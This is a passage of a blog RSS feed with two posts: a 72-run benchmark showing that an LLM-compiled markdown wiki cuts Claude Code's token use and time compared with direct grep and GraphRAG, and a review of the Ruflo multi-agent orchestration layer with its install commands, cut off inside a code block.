<p>METR, Measuring the Impact of Early-2025 AI on Experienced Open-Source Developer Productivity (2025): <a href="https://metr.org/blog/2025-07-10-early-2025-ai-experienced-os-dev-study/">https://metr.org/blog/2025-07-10-early-2025-ai-experienced-os-dev-study/</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p>Donald E. Knuth, Literate Programming (The Computer Journal, 1984): <a href="https://www-cs-faculty.stanford.edu/~knuth/lp.html">https://www-cs-faculty.stanford.edu/~knuth/lp.html</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p>Jeff Bezos, 2017 Letter to Shareholders (Amazon, 2018): <a href="https://www.aboutamazon.com/news/company-news/2017-letter-to-shareholders">https://www.aboutamazon.com/news/company-news/2017-letter-to-shareholders</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content>
        </item>
        
        <item>
            <title>Does Karpathy&#39;s LLM Wiki Actually Work? A 72-Run Benchmark</title>
            <link>https://roboco.io/en/posts/karpathy-llm-wiki-72-run-benchmark/</link>
            <pubDate>Thu, 07 May 2026 11:00:00 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/karpathy-llm-wiki-72-run-benchmark/</guid>
            <description>&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;To keep agents from re-deriving everything every time, you need a compiled knowledge artifact.&amp;rdquo; — Andrej Karpathy, &lt;em&gt;LLM Wiki&lt;/em&gt; (GitHub Gist, 2026-04)&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;h2 id=&#34;tldr&#34;&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;We measured whether Andrej Karpathy&amp;rsquo;s &lt;strong&gt;LLM Wiki pattern&lt;/strong&gt; (&amp;ldquo;don&amp;rsquo;t re-read every time; reuse knowledge compiled once&amp;rdquo;&lt;sup id=&#34;fnref1:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;) is actually a win, using an &lt;strong&gt;8-task × 3-technique × 3-repetition = 72-run&lt;/strong&gt; benchmark in a 30-repository migration workspace.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LLM Wiki placed first on all three dimensions: tokens, time, and quality.&lt;/strong&gt; Versus Vanilla, &lt;strong&gt;54% fewer tokens and 39% less time&lt;/strong&gt; (statistically a large effect, §4), with quality equal to Vanilla and better than Graphify.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Graphify (GraphRAG) is unsuitable as a default tool.&lt;/strong&gt; Negligible token savings, the longest time, and the lowest quality.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;That said, it&amp;rsquo;s not universal.&lt;/strong&gt; Wiki wins decisively on tasks that synthesize multiple sources, but for tasks whose answer sits plainly in a single source (exhaustive grep, looking up a specific table), reading directly is faster and more accurate (§3).&lt;/li&gt;
&lt;li&gt;On receiving these results, the project&amp;rsquo;s default context-retrieval tool was switched to LLM Wiki that same evening.&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Technique&lt;/th&gt;
          &lt;th style=&#34;text-align: right&#34;&gt;Tokens (avg)&lt;/th&gt;
          &lt;th style=&#34;text-align: right&#34;&gt;Time (avg)&lt;/th&gt;
          &lt;th style=&#34;text-align: right&#34;&gt;Quality (out of 25)&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;Vanilla (direct read/grep)&lt;/td&gt;
          &lt;td style=&#34;text-align: right&#34;&gt;755K&lt;/td&gt;
          &lt;td style=&#34;text-align: right&#34;&gt;167s&lt;/td&gt;
          &lt;td style=&#34;text-align: right&#34;&gt;15.1&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;LLM Wiki&lt;/strong&gt;&lt;/td&gt;
          &lt;td style=&#34;text-align: right&#34;&gt;&lt;strong&gt;350K&lt;/strong&gt;&lt;/td&gt;
          &lt;td style=&#34;text-align: right&#34;&gt;&lt;strong&gt;101s&lt;/strong&gt;&lt;/td&gt;
          &lt;td style=&#34;text-align: right&#34;&gt;&lt;strong&gt;16.0&lt;/strong&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Graphify (GraphRAG)&lt;/td&gt;
          &lt;td style=&#34;text-align: right&#34;&gt;617K&lt;/td&gt;
          &lt;td style=&#34;text-align: right&#34;&gt;180s&lt;/td&gt;
          &lt;td style=&#34;text-align: right&#34;&gt;13.6&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Below is the experimental design and detailed numbers that support this conclusion.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<blockquote>
<p>&ldquo;To keep agents from re-deriving everything every time, you need a compiled knowledge artifact.&rdquo; — Andrej Karpathy, <em>LLM Wiki</em> (GitHub Gist, 2026-04)<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
</blockquote>
<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<hr>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>We measured whether Andrej Karpathy&rsquo;s <strong>LLM Wiki pattern</strong> (&ldquo;don&rsquo;t re-read every time; reuse knowledge compiled once&rdquo;<sup id="fnref1:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>) is actually a win, using an <strong>8-task × 3-technique × 3-repetition = 72-run</strong> benchmark in a 30-repository migration workspace.</li>
<li><strong>LLM Wiki placed first on all three dimensions: tokens, time, and quality.</strong> Versus Vanilla, <strong>54% fewer tokens and 39% less time</strong> (statistically a large effect, §4), with quality equal to Vanilla and better than Graphify.</li>
<li><strong>Graphify (GraphRAG) is unsuitable as a default tool.</strong> Negligible token savings, the longest time, and the lowest quality.</li>
<li><strong>That said, it&rsquo;s not universal.</strong> Wiki wins decisively on tasks that synthesize multiple sources, but for tasks whose answer sits plainly in a single source (exhaustive grep, looking up a specific table), reading directly is faster and more accurate (§3).</li>
<li>On receiving these results, the project&rsquo;s default context-retrieval tool was switched to LLM Wiki that same evening.</li>
</ul>
<table>
  <thead>
      <tr>
          <th>Technique</th>
          <th style="text-align: right">Tokens (avg)</th>
          <th style="text-align: right">Time (avg)</th>
          <th style="text-align: right">Quality (out of 25)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Vanilla (direct read/grep)</td>
          <td style="text-align: right">755K</td>
          <td style="text-align: right">167s</td>
          <td style="text-align: right">15.1</td>
      </tr>
      <tr>
          <td><strong>LLM Wiki</strong></td>
          <td style="text-align: right"><strong>350K</strong></td>
          <td style="text-align: right"><strong>101s</strong></td>
          <td style="text-align: right"><strong>16.0</strong></td>
      </tr>
      <tr>
          <td>Graphify (GraphRAG)</td>
          <td style="text-align: right">617K</td>
          <td style="text-align: right">180s</td>
          <td style="text-align: right">13.6</td>
      </tr>
  </tbody>
</table>
<p>Below is the experimental design and detailed numbers that support this conclusion.</p>
<hr>
<h2 id="1-the-three-techniques-compared">1. The Three Techniques Compared</h2>
<table>
  <thead>
      <tr>
          <th>Technique</th>
          <th>How it works</th>
          <th>Additional material exposed</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>Vanilla</strong></td>
          <td>Read/grep files directly with no auxiliary tooling</td>
          <td>(none)</td>
      </tr>
      <tr>
          <td><strong>LLM Wiki</strong></td>
          <td>Read a markdown wiki pre-compiled by an LLM first</td>
          <td>all of <code>wiki/</code> + citation rules</td>
      </tr>
      <tr>
          <td><strong>Graphify</strong></td>
          <td>Query an entity-relationship graph (GraphRAG) first</td>
          <td><code>graphify-out/</code> + CLI</td>
      </tr>
  </tbody>
</table>
<p>The core of the LLM Wiki pattern is its difference from RAG. RAG is a <strong>stateless</strong> cycle that repeats embedding, vector search, and chunk injection on every query, so it redoes synthesis, cross-referencing, and contradiction handling from scratch each time. LLM Wiki inverts this: it <strong>compiles once when a new source arrives</strong> (summarizing, cross-referencing, flagging conflicts), and at query time it reads a markdown page that is already synthesized. <strong>Compile once, query many times</strong> — this asymmetric cost allocation is the source of the token savings.</p>
<hr>
<h2 id="2-experimental-design">2. Experimental Design</h2>
<p><strong>Decision question</strong>: &ldquo;For this migration workload, which technique satisfies both token efficiency and answer quality?&rdquo; The dependent-variable priority was (1) token cost, (2) answer quality, (3) task time.</p>
<p><strong>Workload — 8 tasks (T1–T8)</strong>:</p>
<table>
  <thead>
      <tr>
          <th>ID</th>
          <th>Question focus</th>
          <th>Task type</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>T1</td>
          <td>Number and areas of cyrup&rsquo;s in-house 9folders patches</td>
          <td>patch analysis</td>
      </tr>
      <tr>
          <td>T2</td>
          <td>SNS flow between notifier_go ↔ rework-notify</td>
          <td>cross-language dependency</td>
      </tr>
      <tr>
          <td>T3</td>
          <td>Scale of cyrus-imapd 9folders patches relative to master</td>
          <td>large-scale patch analysis</td>
      </tr>
      <tr>
          <td>T4</td>
          <td>Is pam-jwt called in production</td>
          <td>exhaustive grep</td>
      </tr>
      <tr>
          <td>T5</td>
          <td>Activity comparison across cyrus-imapd&rsquo;s 4 branches</td>
          <td>git history</td>
      </tr>
      <tr>
          <td>T6</td>
          <td>Fit of Stalwart JMAP to Korean business logic</td>
          <td>external source integration</td>
      </tr>
      <tr>
          <td>T7</td>
          <td>Dependent commit SHAs for the 6 R12 PoC scenarios</td>
          <td>code analysis</td>
      </tr>
      <tr>
          <td>T8</td>
          <td>R-items and capability IDs affecting X-AUTH-01</td>
          <td>cross-domain</td>
      </tr>
  </tbody>
</table>
<p><strong>Isolation</strong>: the three techniques were separated into 3 git worktrees, each with a dedicated CLAUDE.md overwritten in place. Submodules, PRD, code, and git were shared; <strong>the only difference was the auxiliary tooling</strong>. Thanks to the separate worktree paths, there was no prompt cache contamination across trials.</p>
<p><strong>Scoring (Judge) — an external model (codex/GPT-5)</strong>: since the actor was Claude, we scored with an external model to avoid self-evaluation bias. A 4-dimension 0–25 rubric.</p>
<table>
  <thead>
      <tr>
          <th>Dimension</th>
          <th>Weight</th>
          <th>Definition</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Accuracy</td>
          <td>0.4</td>
          <td>match rate against ground truth key facts</td>
      </tr>
      <tr>
          <td>Completeness</td>
          <td>0.3</td>
          <td>are any key facts missing</td>
      </tr>
      <tr>
          <td>Citation</td>
          <td>0.2</td>
          <td>explicit <code>[[wiki/..]]</code>, <code>PRD §X</code>, <code>9folders &lt;SHA&gt;</code></td>
      </tr>
      <tr>
          <td>Excess (inverse indicator)</td>
          <td>0.1</td>
          <td>rate of unnecessary speculation, hallucination, repetition</td>
      </tr>
  </tbody>
</table>
<p>The task prompts did not expose ground truth; only the judge held it. Inter-rater agreement (Cohen&rsquo;s κ) passed the rubric at a weighted average of 0.86 (only the excess dimension was weak at κ=0.25, but its weight is 0.1).</p>
<hr>
<h2 id="3-winners-by-task--the-pattern-isnt-simple">3. Winners by Task — The Pattern Isn&rsquo;t Simple</h2>
<p>The overall average favors Wiki, but the winner varies by task type. First place by mean score:</p>
<table>
  <thead>
      <tr>
          <th>Task</th>
          <th>1st</th>
          <th>2nd</th>
          <th>3rd</th>
          <th>Notes</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>T1 (cyrup patches)</td>
          <td>wiki 17.67</td>
          <td>graphify 17.50</td>
          <td>vanilla 16.33</td>
          <td>too close to call</td>
      </tr>
      <tr>
          <td>T2 (cross-language SNS)</td>
          <td><strong>wiki 18.00</strong></td>
          <td>vanilla 14.50</td>
          <td>graphify 13.17</td>
          <td>wiki dominant</td>
      </tr>
      <tr>
          <td>T3 (cyrus-imapd patch scale)</td>
          <td>graphify 9.50</td>
          <td>vanilla 8.33</td>
          <td>wiki 7.83</td>
          <td><strong>all poor</strong></td>
      </tr>
      <tr>
          <td>T4 (pam-jwt usage)</td>
          <td><strong>vanilla 18.17</strong></td>
          <td>wiki 17.50</td>
          <td>graphify 14.83</td>
          <td>vanilla ahead</td>
      </tr>
      <tr>
          <td>T5 (cyrus branch activity)</td>
          <td>wiki 15.83</td>
          <td>vanilla/graphify 14.17</td>
          <td>—</td>
          <td>wiki ahead</td>
      </tr>
      <tr>
          <td>T6 (Stalwart JMAP fit)</td>
          <td><strong>wiki 16.83</strong></td>
          <td>graphify 11.50</td>
          <td>vanilla 11.33</td>
          <td>wiki dominant</td>
      </tr>
      <tr>
          <td>T7 (R12 PoC SHAs)</td>
          <td>wiki 18.00</td>
          <td>vanilla 17.67</td>
          <td>graphify 16.33</td>
          <td>too close to call</td>
      </tr>
      <tr>
          <td>T8 (X-AUTH-01 cross-domain)</td>
          <td><strong>vanilla 20.33</strong></td>
          <td>wiki 16.33</td>
          <td>graphify 11.50</td>
          <td>vanilla dominant</td>
      </tr>
  </tbody>
</table>
<ul>
<li><strong>Wiki is robust on mixed and synthesis-type tasks.</strong> First place in 5 of 8 (T1, T2, T5, T6, T7). It&rsquo;s especially strong on T2 (cross-language) and T6 (external sources), where multiple sources must be synthesized. Curation earns its keep.</li>
<li><strong>There are two tasks where Vanilla wins</strong>: T4 (exhaustive grep) and T8 (cross-domain). In both, <strong>the answer sits plainly in a single source, so curation is a net loss.</strong> T4 is settled by grepping the whole codebase, and for T8 reading the PRD table directly is the most accurate route.</li>
<li><strong>Graphify took first place on only one task, T3, and even there at 9.50/25 the absolute score is low.</strong> It also lost badly to wiki on cross-language (T2), where we expected it to shine — INFERRED edges added noise and query overhead inflated the time.</li>
</ul>
<hr>
<h2 id="4-statistical-significance">4. Statistical Significance</h2>
<p>Friedman main effects: time p=4.5e-07, quality p=0.0016 (both strong), tokens p=0.093 (marginal).</p>
<p>Wilcoxon pairwise (Bonferroni-corrected):</p>
<table>
  <thead>
      <tr>
          <th>Comparison</th>
          <th>Dimension</th>
          <th>p_corr</th>
          <th>Cohen&rsquo;s d</th>
          <th>Verdict</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>vanilla &gt; wiki</td>
          <td>tokens</td>
          <td>0.0105</td>
          <td>+0.842</td>
          <td><strong>significant (large)</strong></td>
      </tr>
      <tr>
          <td>vanilla &gt; wiki</td>
          <td>time</td>
          <td>3.93e-05</td>
          <td>+0.975</td>
          <td><strong>significant (large)</strong></td>
      </tr>
      <tr>
          <td>graphify &gt; wiki</td>
          <td>time</td>
          <td>3.58e-07</td>
          <td>-1.150</td>
          <td><strong>significant (large)</strong></td>
      </tr>
      <tr>
          <td>wiki &gt; graphify</td>
          <td>quality</td>
          <td>0.00678</td>
          <td>+0.666</td>
          <td><strong>significant (medium-large)</strong></td>
      </tr>
      <tr>
          <td>vanilla vs wiki</td>
          <td>quality</td>
          <td>0.7312</td>
          <td>-0.216</td>
          <td>no difference</td>
      </tr>
      <tr>
          <td>vanilla vs graphify</td>
          <td>quality</td>
          <td>0.2459</td>
          <td>+0.420</td>
          <td>no difference</td>
      </tr>
  </tbody>
</table>
<p>In summary, <strong>Wiki cuts tokens and time versus vanilla with a large effect (quality equal), and beats graphify on both quality and time</strong>. Graphify-first is unsuitable as a default tool for our workload.</p>
<hr>
<h2 id="5-so-how-do-we-operate">5. So How Do We Operate?</h2>
<p>This is the baseline policy we settled on after receiving the benchmark results.</p>
<ol>
<li><strong>Wiki-first</strong> — for operational facts, read <code>wiki/index.md</code> → the relevant notes first.</li>
<li><strong>If it&rsquo;s not there, go straight to the source</strong> — if the wiki doesn&rsquo;t have it, PRD → code read/grep. Never make anything up.</li>
<li><strong>Skip the wiki when single-source retrieval is obvious</strong> — if it doesn&rsquo;t narrow to a single note, move quickly to a direct read (the T4/T8 shape).</li>
<li><strong>Graphify is auxiliary</strong> — use it selectively, only for cross-component dependency tracing.</li>
</ol>
<p>The biggest lesson from operating this is a separate one. <strong>Getting answers to cite their sources is harder, and more important, than building the wiki.</strong> Early on, note-taking was active but fewer than 10% of answers carried <code>[[..]]</code> citations, so only half the wiki&rsquo;s value materialized. A single check rule forcing &ldquo;is there a wiki citation for this fact?&rdquo; right before answering brought the citation rate back to normal immediately.</p>
<hr>
<h2 id="6-caveats">6. Caveats</h2>
<ul>
<li><strong>IRR on the excess dimension is weak</strong> (κ=0.25). Because scoring was done while viewing all techniques&rsquo; transcripts together, excess scores were uniformly harsh. With a weight of 0.1 the impact on the conclusion is small, but treat the absolute values conservatively.</li>
<li><strong>Concern about Wiki bias</strong>: all 8 tasks have ground truth present in the wiki, which may favor it. That said, the judge evaluates the ground truth facts themselves rather than the source.</li>
<li><strong>This is a Claude Code-based measurement.</strong> Results may differ in other model and tooling environments. These numbers are the basis for policy in our environment, not a universal claim.</li>
</ul>
<hr>
<h2 id="wrap-up">Wrap-Up</h2>
<p>In our domain, Karpathy&rsquo;s LLM Wiki pattern delivered <strong>54% fewer tokens, 39% less time, and quality equal or better</strong>, and was statistically significant with a large effect. The decision to switch our default tool to the wiki is backed by data.</p>
<p>That said, don&rsquo;t apply the pattern literally. On tasks whose answer sits plainly in a single source, the cost of curation is a loss, and while Graphify is unsuitable as a default tool, it beats the wiki on certain path queries. <strong>Adopt the pattern, but look at it alongside your own workload&rsquo;s task distribution and source structure.</strong> At 8 tasks × 3 techniques × 3 trials = 72 runs, you&rsquo;ll have an answer within a day or two, so I recommend measuring it yourself.</p>
<hr>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>Andrej Karpathy, <em>LLM Wiki</em> (GitHub Gist, 2026-04). <a href="https://gist.github.com/karpathy/442a6bf555914893e9891c11519de94f">https://gist.github.com/karpathy/442a6bf555914893e9891c11519de94f</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content>
        </item>
        
        <item>
            <title>A Close Look at Ruflo: What It Means to Layer Multi-Agent Orchestration onto Claude Code</title>
            <link>https://roboco.io/en/posts/ruflo-claude-code-multi-agent-orchestration/</link>
            <pubDate>Mon, 04 May 2026 11:30:00 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/ruflo-claude-code-multi-agent-orchestration/</guid>
            <description>&lt;blockquote&gt;
&lt;p&gt;How to design Claude Code workflows that learn from a team&amp;rsquo;s insights, not just a single project.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Use Claude Code for a month and the limits become clear. Context disappears along with the session, and breaking work apart and putting it back together is ultimately a human job. The bigger problem surfaces the moment you have multiple projects and multiple developers. The testing strategy learned on project A, the refactoring pattern discovered by developer B, the architectural judgment validated in repository C — none of it flows well between them. &lt;code&gt;ruvnet/ruflo&lt;/code&gt; (formerly Claude Flow) targets exactly this gap. As of May 4, 2026, it has 39.4k stars and 4.5k forks on GitHub, with v3.6.27 as the latest release.&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; Ruflo aims to be an orchestration layer on top of Claude Code that adds roughly 100 specialized agents, HNSW vector memory, a plugin system, and Zero-Trust federation. This post lays out what Ruflo actually solves and what it does not, particularly from the standpoint of &lt;strong&gt;how to organically reuse the insights that multiple projects and multiple developers acquire&lt;/strong&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<blockquote>
<p>How to design Claude Code workflows that learn from a team&rsquo;s insights, not just a single project.</p>
</blockquote>
<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<hr>
<p>Use Claude Code for a month and the limits become clear. Context disappears along with the session, and breaking work apart and putting it back together is ultimately a human job. The bigger problem surfaces the moment you have multiple projects and multiple developers. The testing strategy learned on project A, the refactoring pattern discovered by developer B, the architectural judgment validated in repository C — none of it flows well between them. <code>ruvnet/ruflo</code> (formerly Claude Flow) targets exactly this gap. As of May 4, 2026, it has 39.4k stars and 4.5k forks on GitHub, with v3.6.27 as the latest release.<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup><sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> Ruflo aims to be an orchestration layer on top of Claude Code that adds roughly 100 specialized agents, HNSW vector memory, a plugin system, and Zero-Trust federation. This post lays out what Ruflo actually solves and what it does not, particularly from the standpoint of <strong>how to organically reuse the insights that multiple projects and multiple developers acquire</strong>.</p>
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Ruflo</strong> is an MIT-licensed orchestration platform that extends Claude Code into a multi-agent collaboration system.<sup id="fnref1:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></li>
<li>The core is three things: <strong>swarm coordination + persistent memory + Zero-Trust federation</strong>. Whether you can build a structure in which insights flow between projects and developers matters more than a list of 314 MCP tools.</li>
<li>Given its release cadence and self-promotional tone, it suits <strong>personal learning and team PoCs</strong> but is <strong>not recommended for immediate, org-wide enterprise adoption</strong>.</li>
</ul>
<h2 id="the-limits-of-claude-code-alone-and-where-ruflo-sits">The Limits of Claude Code Alone, and Where Ruflo Sits</h2>
<p>Claude Code is already powerful. It reads repositories, edits files, runs tests, and executes shell commands with the user&rsquo;s approval. The problem is a work model centered on a single session, a single repository, and a single user. On a long project, the open question becomes &ldquo;why did we make this decision last time?&rdquo; Across multiple projects, it becomes &ldquo;how do we bring what we learned over there into this project?&rdquo; At team scale, an even more important question emerges: &ldquo;how do we get the insight from developer A&rsquo;s Claude Code session into developer B&rsquo;s next task?&rdquo;</p>
<p>Ruflo is less a tool trying to replace Claude Code than one that bolts a work-coordination layer around it. You keep using Claude Code, and behind it Ruflo handles agent routing, memory, swarm coordination, background workers, and plugin execution.</p>
<table>
  <thead>
      <tr>
          <th>Capability</th>
          <th>Claude Code alone</th>
          <th>+ Ruflo</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Agent collaboration</td>
          <td>Per session, limited shared context</td>
          <td>Shared memory + consensus-based swarm</td>
      </tr>
      <tr>
          <td>Coordination</td>
          <td>User splits and merges the work</td>
          <td>Queen-led hierarchy, topology, consensus</td>
      </tr>
      <tr>
          <td>Memory</td>
          <td>Session-centric</td>
          <td>AgentDB, HNSW-based vector memory</td>
      </tr>
      <tr>
          <td>Learning</td>
          <td>Easily trapped inside a personal session</td>
          <td>SONA, pattern matching, trajectory learning</td>
      </tr>
      <tr>
          <td>Insight reuse</td>
          <td>Humans have to document it</td>
          <td>Memory transfer across projects and agents</td>
      </tr>
      <tr>
          <td>Task routing</td>
          <td>User decides</td>
          <td>Intelligent routing, though the quantitative figures are self-reported</td>
      </tr>
      <tr>
          <td>Background workers</td>
          <td>None</td>
          <td>12 auto-triggered workers</td>
      </tr>
      <tr>
          <td>LLM providers</td>
          <td>Mainly Anthropic</td>
          <td>Claude, GPT, Gemini, Cohere, Ollama, and others</td>
      </tr>
  </tbody>
</table>
<p>What matters in this table is not &ldquo;more features.&rdquo; Ruflo&rsquo;s value lies in getting multiple agents to take on different facets of the same task, leave the results in memory, and reuse them on the next task. In other words, the key question is whether you can move from a personal productivity tool to a team learning system.</p>
<h2 id="the-real-question-how-do-you-reuse-insight">The Real Question: How Do You Reuse Insight?</h2>
<p>Vibe coding pays off quickly at the individual level. The longer a single developer works with Claude Code, the more prompting habits, testing sequences, review criteria, and failure patterns accumulate. From an organizational standpoint, however, this knowledge evaporates easily. Session logs scatter, good prompts stay in personal notes, and design judgments earned in one repository never migrate to another.</p>
<p>So the most important lens for looking at Ruflo is not &ldquo;does it automate Claude Code further?&rdquo; but &ldquo;can it turn the insight generated during development into a shareable asset?&rdquo; For example: a failure-reproduction pattern learned in a payments system gets used for test generation in a settlement system; security review criteria created by one developer are reflected in another developer&rsquo;s PR analysis; an architectural decision made for one client becomes the initial design guardrail for the next PoC.</p>
<p>Seen this way, AgentDB, RAG memory, knowledge graph, and federation are not a list of separate features. They are a pipeline for storing, retrieving, transmitting, and reusing insight across multiple projects and multiple developers within a trust boundary. Ruflo&rsquo;s adoption value materializes when that pipeline works in real day-to-day work.</p>
<h2 id="what-ruflo-does">What Ruflo Does</h2>
<p>The Ruflo README leads with &ldquo;314 MCP tools&rdquo; and &ldquo;32 plugins.&rdquo;<sup id="fnref2:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> The numbers are large, but the structure compresses into a single diagram.</p>
<pre class="mermaid">flowchart TD
    User[User]
    CC["Claude Code / CLI / MCP"]
    Orch["Orchestration Layer<br/>Router + Hooks"]
    Swarm["Swarm Coordination<br/>Queen / Topology / Consensus"]
    Agents["100+ Specialized Agents<br/>coder, tester, reviewer, ..."]
    Mem["Memory & Learning<br/>AgentDB + HNSW + SONA"]
    LLM["LLM Providers<br/>Claude / GPT / Gemini / Cohere / Ollama"]

    User --> CC
    CC --> Orch
    Orch --> Swarm
    Swarm --> Agents
    Agents --> Mem
    Mem --> LLM
    Mem -. Learning Loop .-> Orch
</pre>
<p>There are five core components. First, entry points via a Claude Code plugin, CLI, and MCP server. Second, a router and hooks that detect work and send it down the appropriate flow. Third, a swarm layer that deploys multiple agents. Fourth, AgentDB and RAG memory that store and retrieve results and the reasoning behind decisions. Fifth, provider routing that allows models other than Claude to be used on some paths. When this structure works properly, the output of one session becomes the starting point for the next session, the next repository, and the next developer.</p>
<p>There are three installation paths. For Claude Code users, the plugin route is the most natural.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># 1) Claude Code plugin</span>
</span></span><span style="display:flex;"><span>/plugin marketplace add ruvnet/ruflo
</span></span><span style="display:flex;"><span>/plugin install ruflo-core@ruflo
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 2) CLI</span>
</span></span><span style="display:flex;"><span>npx ruflo@latest init --wizard
</span></span><span style="display:flex;"><span><span style="color:#75715e"># or</span>
</span></span><span style="display:flex;"><span>npm install -g ruflo@latest
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 3) MCP server</span>
</span></span><span style="display:flex;"><span>claude mcp add ruflo -- npx -y @claude-flow/cli@latest
</span></span></code></pre></div><p>In a production environment you should not use <code>latest</code> from the examples above as-is. Ruflo ships releases very quickly. Experimenting with <code>latest</code> is fine, but at team-PoC scale and beyond you must pin versions.</p>
<h2 id="the-key-differentiator-agent-federation">The Key Differentiator: Agent Federation</h2>
<p>The most interesting part of Ruflo is not the plugin count but Agent Federation. Tools that coordinate multiple agents within a single machine will only become more common. But letting agents on different machines, teams, and trust boundaries collaborate safely is a different story.</p>
<p>Through the <code>ruflo-federation</code> plugin, Ruflo attempts to treat inter-agent communication under a Zero-Trust model. Per the README, this layer includes agent discovery, authentication, task exchange, PII detection, mTLS, signing, and trust scoring.<sup id="fnref3:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<pre class="mermaid">flowchart LR
    A["My agent"] --> B["PII removal<br/>(auto-detected)"]
    B --> C["Message signing<br/>ed25519"]
    C --> D["Encrypted channel<br/>mTLS"]
    D --> E["Identity verification<br/>Challenge-Response"]
    E --> F["Prompt injection blocking"]
    F --> G["Peer agent"]
    G -. "Behavior-based trust score" .-> A
</pre>
<p>Suppose team A has an agent that analyzes payment anomalies and team B has one that analyzes operational logs. If the two teams can exchange only PII-stripped task requests and summarized signals without directly sharing raw customer data, the scope of collaboration widens. More practically, you can imagine handing a migration checklist validated on one project over to a DB change on another project, or a security agent on another team immediately making use of prompt injection patterns that one developer keeps uncovering. The value Ruflo proposes here is less &ldquo;spin up lots of agents&rdquo; and more &ldquo;let insights earned by different projects and developers be exchanged within a trust boundary.&rdquo;</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Initialize federation and generate a keypair</span>
